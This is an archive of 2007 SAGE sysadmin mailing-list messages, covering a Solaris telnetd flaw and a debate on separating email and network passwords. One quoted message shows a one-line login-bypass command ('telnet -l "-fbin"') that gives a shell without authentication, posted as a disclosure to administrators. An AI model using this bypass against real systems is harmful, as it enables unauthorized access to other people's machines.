	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK)
	for <sage-members@sage.org>; Mon, 12 Feb 2007 16:48:38 -0800 (PST)
Received: from [128.253.64.161] (jwh2-3.cit.cornell.edu [128.253.64.161])
	(authenticated bits=0)
	by authusersmtp.mail.cornell.edu (8.13.1/8.12.10) with ESMTP id
	l1CLMJK7010911
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Mon, 12 Feb 2007 16:22:19 -0500 (EST)
Message-ID: <45D0DA8B.2040605@cornell.edu>
Date: Mon, 12 Feb 2007 16:22:19 -0500
From: Jim Howell <jwh2@cornell.edu>
Reply-To: jwh2@cornell.edu
Organization: Cornell University CIT Systems & Operations Messaging Group
User-Agent: Thunderbird 1.5.0.9 (Macintosh/20061207)
MIME-Version: 1.0
To: "Michael T. Halligan" <michael@halligan.org>
CC: SAGE mailing list <sage-members@sage.org>
Subject: Re: [SAGE] Re: [lopsa-tech] Remote Exploit Solaris telnetd
References: <bb075cdf0702112022q16f1bd1erd05484a6d958ff06@mail.gmail.com>
	<68004760-C727-48E6-8838-F8B085F8A268@halligan.org>
In-Reply-To: <68004760-C727-48E6-8838-F8B085F8A268@halligan.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC--Metrics: voyager 1356; Body=0 Fuz1=0 Fuz2=0 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk

You know I almost hurt myself when I read this....
Jim

Michael T. Halligan wrote:
> 1989 called and they want their insecure, obsolete protocol back.
>
> On Feb 11, 2007, at 8:22 PM, Rodrick Brown wrote:
>
>> I dont take credit for finding this bug it was posted on nanog-l a 
>> few hours ago but I thought it would be much more useful here on SAGE 
>> and LOPSA, at least everyone disables telnet right?
>>
>> bash-3.00# svcadm enable telnet
>> bash-3.00# telnet -l "-fbin" localhost
>> Trying 127.0.0.1...
>> Connected to localhost.
>> Escape character is '^]'.
>> Last login: Sun Feb 11 13:10:36 from 64.111.214.138
>> Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
>> $ id
>> uid=2(bin) gid=2(bin)
>> $
>>
>> bash-3.00# telnet -l "-froot" localhost
>> Trying 127.0.0.1...
>> Connected to localhost.
>> Escape character is '^]'.
>> Not on system console
>> Connection to localhost closed by foreign host.
>>
>> --Rodrick R. Brown
>> _______________________________________________
>> Tech mailing list
>> Tech@lopsa.org
>> http://lopsa.org/cgi-bin/mailman/listinfo/tech
>> This list provided by the League of Professional System Administrators
>>  http://lopsa.org/
>

-- 
Jim Howell
Cornell University
CIT Messaging Systems Manager
email: jwh2@cornell.edu
phone: 607-255-9369



From sage-members-owner@usenix.org Mon Feb 12 23:25:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1D7PLFj017192
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 12 Feb 2007 23:25:21 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1D7PLkf017191
	for sage-members-0utGoign; Mon, 12 Feb 2007 23:25:21 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1D7Oiq0017177
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 12 Feb 2007 23:24:50 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1D7OiXd017176
	for sage-members@usenix.org; Mon, 12 Feb 2007 23:24:44 -0800 (PST)
Received: from haus.nakedape.cc (haus.nakedape.cc [63.105.18.11])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1CMKp64024825
	for <sage-members@sage.org>; Mon, 12 Feb 2007 14:21:01 -0800 (PST)
Received: from localhost (vidar.nakedape.cc [192.168.1.11])
	by localhost.nakedape.priv (Naked Ape Mail Server) with ESMTP id
	2BAAE3BE52
	for <sage-members@sage.org>; Mon, 12 Feb 2007 14:20:47 -0800 (PST)
X-Virus-Scanned: by Naked Ape Mail Defender <http://naked-ape.com/r/md> at
	nakedape.cc
Received: from haus.nakedape.cc ([192.168.1.1])
	by localhost (vidar.nakedape.cc [192.168.1.11]) (amavisd-new,
	port 10024) with LMTP id Zsa1db8a3QbI for <sage-members@sage.org>;
	Mon, 12 Feb 2007 14:20:44 -0800 (PST)
Received: from [192.168.110.10] (ods-fw-pat-qw.odshp.com [65.124.255.195])
	(using SSLv3 with cipher RC4-MD5 (128/128 bits))
	(No client certificate requested)
	by haus.nakedape.cc (Naked Ape Mail Server) with ESMTP id F29113BE2A
	for <sage-members@sage.org>; Mon, 12 Feb 2007 14:20:43 -0800 (PST)
Subject: Re: [SAGE] Re: [lopsa-tech] Remote Exploit Solaris telnetd
From: Wil Cooley <wcooley@nakedape.cc>
Reply-To: SAGE mailing list <sage-members@sage.org>
To: SAGE mailing list <sage-members@sage.org>
In-Reply-To: <68004760-C727-48E6-8838-F8B085F8A268@halligan.org>
References: <bb075cdf0702112022q16f1bd1erd05484a6d958ff06@mail.gmail.com>
	<68004760-C727-48E6-8838-F8B085F8A268@halligan.org>
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="=-stKabaSbXttQ9NX1Wo0I"
Organization: http://nakedape.cc
Date: Mon, 12 Feb 2007 14:20:42 -0800
Message-Id: <1171318842.12390.36.camel@willow.odshp.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


--=-stKabaSbXttQ9NX1Wo0I
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Mon, 2007-02-12 at 10:22 -0800, Michael T. Halligan wrote:
> 1989 called and they want their insecure, obsolete protocol back.

Dang, and I thought it was just IBM:

http://preview.tinyurl.com/2narfr

..
I.  Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

A buffer overflow vulnerability in various r-commands may allow a local
user to gain root privileges. This vulnerability may be exploited through
the rsh, rcp, rlogin and rdist commands. These commands are used to provide
remote access to a system.
..

For an additional hoot:

http://preview.tinyurl.com/393sm7

"This prints the byte count for each group line. makedbm will fail on
most entries greater than 1000 bytes and vi fails on lines greater than
2048."

Operating system(s):    AIX =20
Software version:    4.3, 5.1, 5.2, 5.3

1989 called and they want their fixed-length buffers and arbitrary size
limitations back!

Wil
--=20
Wil Cooley <wcooley@nakedape.cc>
http://nakedape.cc

--=-stKabaSbXttQ9NX1Wo0I
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQBF0Og6Jpn3uYWUEaoRAkYxAKCg46CaSVee3Xop3eMFMgKDrnYScACfW3LF
zL5QppnPNZYkZT0/iIn9vNY=
=9Z3K
-----END PGP SIGNATURE-----

--=-stKabaSbXttQ9NX1Wo0I--


From sage-members-owner@usenix.org Tue Feb 13 09:08:05 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1DH7rDQ024104
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 13 Feb 2007 09:07:54 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1DH7rD3024103
	for sage-members-0utGoign; Tue, 13 Feb 2007 09:07:53 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1DH7eRB024090
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 13 Feb 2007 09:07:41 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1DH7eXo024089
	for sage-members@usenix.org; Tue, 13 Feb 2007 09:07:40 -0800 (PST)
Received: from mx.spodhuis.org (redoubt.spodhuis.org [193.202.115.177])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1D7jWaO017748
	for <sage-members@sage.org>; Mon, 12 Feb 2007 23:45:44 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=first1; d=spodhuis.org;
	h=Received:Date:From:To:Subject:Message-ID:Mail-Followup-To:References:MIME-Version:Content-Type:Content-Disposition:In-Reply-To;
	b=LZGVHU7vvgqc9BmrOPAKYzJSEQ75gl9g00/MATG08lR+fs8N6Jn2avq7BM/l2neCV70H29hEIjgJFri7dP+0r7RzcETQu5tLBgwKewqJfyZdKvKHE5vFNoMhPBU0bGRbUCCGEgiHCWW9UVHXclc911TjfzQXP6wLt4x4K89JRyM=;
Received: by smtp.spodhuis.org with local 
	id 1HGrf2-0003Il-9m; Tue, 13 Feb 2007 07:01:08 +0000
Date: Mon, 12 Feb 2007 23:01:08 -0800
From: Phil Pennock <lopsa-tech@spodhuis.org>
To: tech@lopsa.org, SAGE mailing list <sage-members@sage.org>
Subject: [SAGE] Re: [lopsa-tech] Remote Exploit Solaris telnetd
Message-ID: <20070213070108.GA12387@redoubt.spodhuis.org>
Mail-Followup-To: tech@lopsa.org, SAGE mailing list <sage-members@sage.org>
References: <bb075cdf0702112022q16f1bd1erd05484a6d958ff06@mail.gmail.com>
	<8B855371-D7E2-4B30-95CF-3FECBE625E8C@halligan.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <8B855371-D7E2-4B30-95CF-3FECBE625E8C@halligan.org>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 2007-02-12 at 10:08 -0800, Michael T. Halligan wrote:
> 1989 called and they want their insecure, obsolete protocol back.

I just double-checked and Solaris's telnetd is one of those which
supports KerberosV, both authentication and encryption.  As of Solaris
10.

Given that (TTBOMK) telnet clients which support Kerberos are more
widespread than SSH clients which do, multi-platform secure remote tty
access with central ability to shut down accounts (without having to
script together a pubkey management system), I'm not sure how it
qualifies as insecure.  (Multiplatform is more than "openssh will run,
in some form")

So I think that the joke is what's obsolete.  ;^)

-Phil, wanting PuTTY to accept one of the GSSAPI patches.
http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/kerberos-gssapi.html


From sage-members-owner@usenix.org Wed Feb 14 08:12:38 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EGCbE1006695
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Feb 2007 08:12:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1EGCbWx006694
	for sage-members-0utGoign; Wed, 14 Feb 2007 08:12:37 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EGBo5E006667
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Wed, 14 Feb 2007 08:12:04 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l1EGBYD4028141
	for <sage-members@sage.org>; Wed, 14 Feb 2007 10:11:35 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l1EGBXWK028137
	for <sage-members@sage.org>; Wed, 14 Feb 2007 10:11:34 -0600
Received: from localhost (heavy.puryear-it.com 192.168.222.5)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Wed, 14 Feb 2007 10:11:33 -0600 (CST)
Date: Wed, 14 Feb 2007 10:11:36 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: sage-members@sage.org
Message-ID: <329528150.20070214101136@puryear-it.com>
Subject: [SAGE] Email passwords are.. special?
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.9 required=5.0 tests=BAYES_50, FORGED_MUA_THEBAT_CS 
	autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

So, there is always this conflict over whether accounts for email
(POP3, IMAP) should be tied to your normal account. In most
situations, companies are trying to consolidate accounts. And
companies with directories (be it LDAP or AD) definitely see this
trend continuing. Yet, there is the risk that a compromised email
password will then compromise the network.

Now, let's assume that the communication channel is encrypted with
SSL. That should just be a given. But we still have the issue of
people having passwords stored on their phones, laptops, home
computers, etc., for their email. I know I've had several phones lost
in the past few years. None had my network information, but that could
have been there.

What are your thoughts on whether email accounts should be separate
from normal network accounts? Pros? Cons? Should companies just not
allow external access to email via POP or IMAP and just require
Webmail access so users have to manually enter passwords? Does that
solve the real problem? I'm interested in hearing what everyone has to
say.

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm



From sage-members-owner@usenix.org Wed Feb 14 08:34:45 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EGYhvW007274
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Feb 2007 08:34:43 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1EGYh9T007273
	for sage-members-0utGoign; Wed, 14 Feb 2007 08:34:43 -0800 (PST)
Received: from mail.reptiles.org (mail.reptiles.org [198.96.119.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EGYG0I007250
	for <sage-members@sage.org>; Wed, 14 Feb 2007 08:34:27 -0800 (PST)
Received: from mail.reptiles.org([198.96.119.1] port=1182) (1536 bytes) 
	by mail.reptiles.org([198.96.119.1] port=25) via TCP with esmtp
	(sender: <cat@reptiles.org>) id <m1HHN4m-00BueOC@mail.reptiles.org>
	for <sage-members@sage.org>;
	(dest:remote)(R=bind_hosts)(T=inet_zone_bind_smtp)
	Wed, 14 Feb 2007 11:33:48 -0500 (EST)
	(Smail-3.2.0.118 2004-May-31 #3 built 2004-Oct-14)
Date: Wed, 14 Feb 2007 11:33:43 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Dustin Puryear <dustin@puryear-it.com>
cc: sage-members@sage.org
Subject: Re: [SAGE] Email passwords are.. special?
In-Reply-To: <329528150.20070214101136@puryear-it.com>
Message-ID: <20070214113253.Y3156@skink.reptiles.org>
References: <329528150.20070214101136@puryear-it.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Wed, 14 Feb 2007, Dustin Puryear wrote:
> What are your thoughts on whether email accounts should be separate
> from normal network accounts? Pros? Cons? Should companies just not
> allow external access to email via POP or IMAP and just require
> Webmail access so users have to manually enter passwords? Does that
> solve the real problem? I'm interested in hearing what everyone has to
> say.

I'll add in "can your users keep track of the passwords they already
have, without writing them down".

If you're that worried about it, use two-factor authentication...

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Wed Feb 14 08:51:39 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EGpQHL007939
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Feb 2007 08:51:27 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1EGpQF0007937
	for sage-members-0utGoign; Wed, 14 Feb 2007 08:51:26 -0800 (PST)
Received: from mail2.panix.com (mail2.panix.com [166.84.1.73])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EGomDT007916
	for <sage-members@sage.org>; Wed, 14 Feb 2007 08:50:58 -0800 (PST)
Received: from mailspool3.panix.com (mailspool3.panix.com [166.84.1.78])
	by mail2.panix.com (Postfix) with ESMTP id C453ECA876
	for <sage-members@sage.org>; Wed, 14 Feb 2007 11:50:43 -0500 (EST)
Received: from merctech.com (node4.uphs.upenn.edu [165.123.243.168])
	by mailspool3.panix.com (Postfix) with ESMTP id 01F924F9A41
	for <sage-members@sage.org>; Wed, 14 Feb 2007 11:50:43 -0500 (EST)
Received: from piquin (piquin [127.0.0.1])
	by merctech.com (8.13.7/8.13.6) with ESMTP id l1EGoVVZ025334
	for <sage-members@sage.org>; Wed, 14 Feb 2007 11:50:31 -0500
X-Mailer: exmh version 2.7.2 01/07/2005 with nmh-1.1
To: sage-members@sage.org
From: bergman@merctech.com
Reply-To: bergman@merctech.com
Subject: Re: [SAGE] Email passwords are.. special? 
In-Reply-To: Your message of "Wed, 14 Feb 2007 10:11:36 CST."
	<329528150.20070214101136@puryear-it.com> 
References: <329528150.20070214101136@puryear-it.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 14 Feb 2007 11:50:31 -0500
Message-ID: <25333.1171471831@piquin>
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=39%
Sender: owner-sage-members@usenix.org
Precedence: bulk



In the message dated: Wed, 14 Feb 2007 10:11:36 CST,
The pithy ruminations from "Dustin Puryear" on 
<[SAGE] Email passwords are.. special?> were:
=> So, there is always this conflict over whether accounts for email
=> (POP3, IMAP) should be tied to your normal account. In most

You mean POP3S and IMAPS, right? :)

=> situations, companies are trying to consolidate accounts. And
=> companies with directories (be it LDAP or AD) definitely see this
=> trend continuing. Yet, there is the risk that a compromised email
=> password will then compromise the network.

Yes.

=> 
=> Now, let's assume that the communication channel is encrypted with
=> SSL. That should just be a given. But we still have the issue of
=> people having passwords stored on their phones, laptops, home
=> computers, etc., for their email. I know I've had several phones lost
=> in the past few years. None had my network information, but that could
=> have been there.
=> 
=> What are your thoughts on whether email accounts should be separate
=> from normal network accounts? Pros? Cons? Should companies just not

What's the level of trust here? For example, if e-mail and network (including
VPN) accounts use separate passwords, but the help desk will accept a password
change request via e-mail, and return the new password via e-mail, then the
trust boundary has effectively collapsed. If Evil Boris gets your e-mail
password, it's trivial for him to request a network password change as well.

=> allow external access to email via POP or IMAP and just require
=> Webmail access so users have to manually enter passwords? Does that

Huh? What do you mean by "webmail access so users have to manually enter 
passwords"? Almost every non-sysadmin that I've ever seen using webmail clicks 
on the helpful "remember this password" button on their browser the first time 
they use webmail, thoroughly defeating the intended security. People are so 
used to accepting the "remember this password" prompt that I'd guess that a 
large number of web browsers in public locations, like cyber-cafes, are 
permanently storing passwords...

=> solve the real problem? I'm interested in hearing what everyone has to
=> say.

I think that the definition of the "real problem" needs better clarification, 
before viewing webmail as a solution.

Mark

=> 
=> ---
=> Puryear Information Technology, LLC
=> Baton Rouge, LA * 225-706-8414
=> http://www.puryear-it.com
=> 
=> Author:
=>   "Best Practices for Managing Linux and UNIX Servers"
=>   "Spam Fighting and Email Security in the 21st Century"
=> 
=> Download your free copies:
=>   http://www.puryear-it.com/publications.htm
=> 



-----
Mark Bergman    Biker, Rock Climber, Unix mechanic, IATSE #1 Stagehand

http://wwwkeys.pgp.net:11371/pks/lookup?op=get&search=bergman%40merctech.com

I want a newsgroup with a infinite S/N ratio! Now taking CFV on:
rec.motorcycles.stagehands.pet-bird-owners.pinballers.unix-supporters
15+ So Far--Want to join? Check out: http://www.panix.com/~bergman



From sage-members-owner@usenix.org Wed Feb 14 11:50:08 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EJnxxS013503
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Feb 2007 11:50:05 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1EJnxnT013502
	for sage-members-0utGoign; Wed, 14 Feb 2007 11:49:59 -0800 (PST)
Received: from mirni.NebrWesleyan.edu (mirni.NebrWesleyan.edu [192.94.109.42])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EJnWOd013487
	for <sage-members@sage.org>; Wed, 14 Feb 2007 11:49:43 -0800 (PST)
Received: from mirni.NebrWesleyan.edu (localhost.localdomain [127.0.0.1])
	by mirni.NebrWesleyan.edu (Postfix) with ESMTP id 4958D6B4048;
	Wed, 14 Feb 2007 13:49:25 -0600 (CST)
Received: from zaphod.NebrWesleyan.edu (zaphod.NebrWesleyan.edu [10.9.2.11])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mirni.NebrWesleyan.edu (Postfix) with ESMTP id 2CC726B403F;
	Wed, 14 Feb 2007 13:49:25 -0600 (CST)
Date: Wed, 14 Feb 2007 13:49:25 -0600 (CST)
From: "Chris St. Pierre" <stpierre@NebrWesleyan.edu>
To: Dustin Puryear <dustin@puryear-it.com>
cc: sage-members@sage.org
Subject: Re: [SPAM:*] [SAGE] Email passwords are.. special?
In-Reply-To: <329528150.20070214101136@puryear-it.com>
Message-ID: <Pine.LNX.4.64.0702141349160.26412@zaphod.NebrWesleyan.edu>
References: <329528150.20070214101136@puryear-it.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Virus-Scanned: ClamAV using ClamSMTP
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Wed, 14 Feb 2007, Dustin Puryear wrote:

> What are your thoughts on whether email accounts should be separate
> from normal network accounts? Pros? Cons? Should companies just not
> allow external access to email via POP or IMAP and just require
> Webmail access so users have to manually enter passwords? Does that
> solve the real problem? I'm interested in hearing what everyone has to
> say.

As sysadmins, a significant part of our job is to mediate between the
frequently conflicting needs to have a secure environment on the
one hand, but an environment that is immanently usable and friendly on
the other.  We're all familiar with the claim that the most secure
computer is one that's encased in concrete at the bottom of the ocean,
but, as we all know, that's not acceptable to the users.  Managers
do cost/benefit comparisons; we do usability/security comparisons.

In my view, the loss of usability in this case does not justify the
(questionable) gain in security.  People want one password (and
justifiably so), and we would be amiss to ignore that.

Furthermore, there's really not much to gain from dividing the
namespace thusly assuming that you already have a semi-sane security
environment.  If what you're most worried about is loss or theft of
something with a password on it, then three things will remediate that
_without_ needing to divide your namespace:

1.  Provide a quick, easy way for users to change their password for
     your entire namespace;
2.  Require periodic password changes and/or event-driven password
     changes (like when a user comes to you and reports that their
     laptop has been stolen); and
3.  User training.

Okay, so four things: 4. User training.

Passwords are sensitive.  Trying to make a given password "less
sensitive" is, IMHO, an exercise in futility.  In they eyes of most
security policies, sensitive is sensitive is sensitive.  Is a password
that gets an attacker access to your CEO's email any less sensitive
than a password that gets an attacker access to a shell on one of your
systems?  Will that password get reset any less quickly?

Instead, put ample safeguards in place to protect your sensitive data,
have well-defined procedures for reacting to breaches and preventing
further breaches, and then don't worry about "how sensitive" something
is.

You can also do a lot to limit what passwords give people access to
_without_ dividing your namespace.  We have a unified namespace across
the campus; yet, if one of our students has their password
compromised, the attacker gains shell access to zero machines.  If a
faculty or staff password is compromised, the attacker gains shell
access to one machine.  I realize that numbers like this aren't
available everywhere, but you can still do _a lot_ to restrict access
to resources and machines by role and limit the extent of a break-in
without limiting usability.

(Aside: Note that I'm not claiming that every security measure reduces
usability, or that every usability measure reduces security.  They're
frequently at odds though -- and the OP feels that they are in this
case.)

(Aside the second: I'm aware that some places like to distinguish
between "sensitive", "private", "confidential", and Lord knows what
else.  Still, I don't think that reducing the scope of a given
password would move it appreciably towards the public end of the
spectrum -- at least, not enough to warrant any lesser protection for
it.)

Chris St. Pierre
Unix Systems Administrator
Nebraska Wesleyan University
----------------------------
Never send mail to thobrux@nebrwesleyan.edu


From sage-members-owner@usenix.org Wed Feb 14 11:59:21 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EJxLV3013970
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Feb 2007 11:59:21 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1EJxLM6013965
	for sage-members-0utGoign; Wed, 14 Feb 2007 11:59:21 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EJxI2F013960
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Wed, 14 Feb 2007 11:59:18 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1EJxH7V013958
	for sage-members@usenix.org; Wed, 14 Feb 2007 11:59:17 -0800 (PST)
Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.231])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1EJH83E012501
	for <sage-members@sage.org>; Wed, 14 Feb 2007 11:17:19 -0800 (PST)
Received: by wx-out-0506.google.com with SMTP id i27so331122wxd
	for <sage-members@sage.org>; Wed, 14 Feb 2007 11:17:00 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:user-agent:mime-version:to:subject:references:in-reply-to:content-type:content-transfer-encoding:sender;
	b=dXx8XCco4YZd4/wmdS9YMP2WNnkT2dZuqhex4gy6v+YHhNmafl2yUDqgncDCeVXxS4DZaaO/IpNVbDFmOmGzJGwzswljS/dL2Zqk2zfx1fBg7TkfuS4FggbBS9GHogSD8/WvlkMcOXtw9UoELQWDy3az4eTy+/Ai2h9C/0ybyWI=
Received: by 10.70.39.5 with SMTP id m5mr1281080wxm.1171480620443;
	Wed, 14 Feb 2007 11:17:00 -0800 (PST)
Received: from ?192.168.168.52? ( [68.45.46.109])
	by mx.google.com with ESMTP id i34sm2205415wxd.2007.02.14.11.16.59;
	Wed, 14 Feb 2007 11:16:59 -0800 (PST)
Message-ID: <45D36026.2050005@pobox.com>
Date: Wed, 14 Feb 2007 14:16:54 -0500
From: Tom Reingold <noglider@pobox.com>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: Re: [SAGE] Email passwords are.. special?
References: <329528150.20070214101136@puryear-it.com> <25333.1171471831@piquin>
In-Reply-To: <25333.1171471831@piquin>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk


Having more passwords is more secure, provided they can all be
remembered without storing them stupidly.

Having one (or fewer) passwords is more convenient, not just for the
user but also for the help staff. I believe this latter point (help
staff time) is a major driving force towards account unification.

In other words, it is impossible to have a unique password for every 
place you log in AND keep it secure AND have it be a sensible password. 
That's why single passwords are the trend.

Tom


From sage-members-owner@usenix.org Wed Feb 14 20:05:04 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1F44vXm027221
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 14 Feb 2007 20:04:58 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l1F44vZ0027219
	for sage-members-0utGoign; Wed, 14 Feb 2007 20:04:57 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l1F44KqW027196
	for <sage-members@sage.org>; Wed, 14 Feb 2007 20:04:30 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id AC6B915B59C;
	Wed, 14 Feb 2007 23:04:12 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
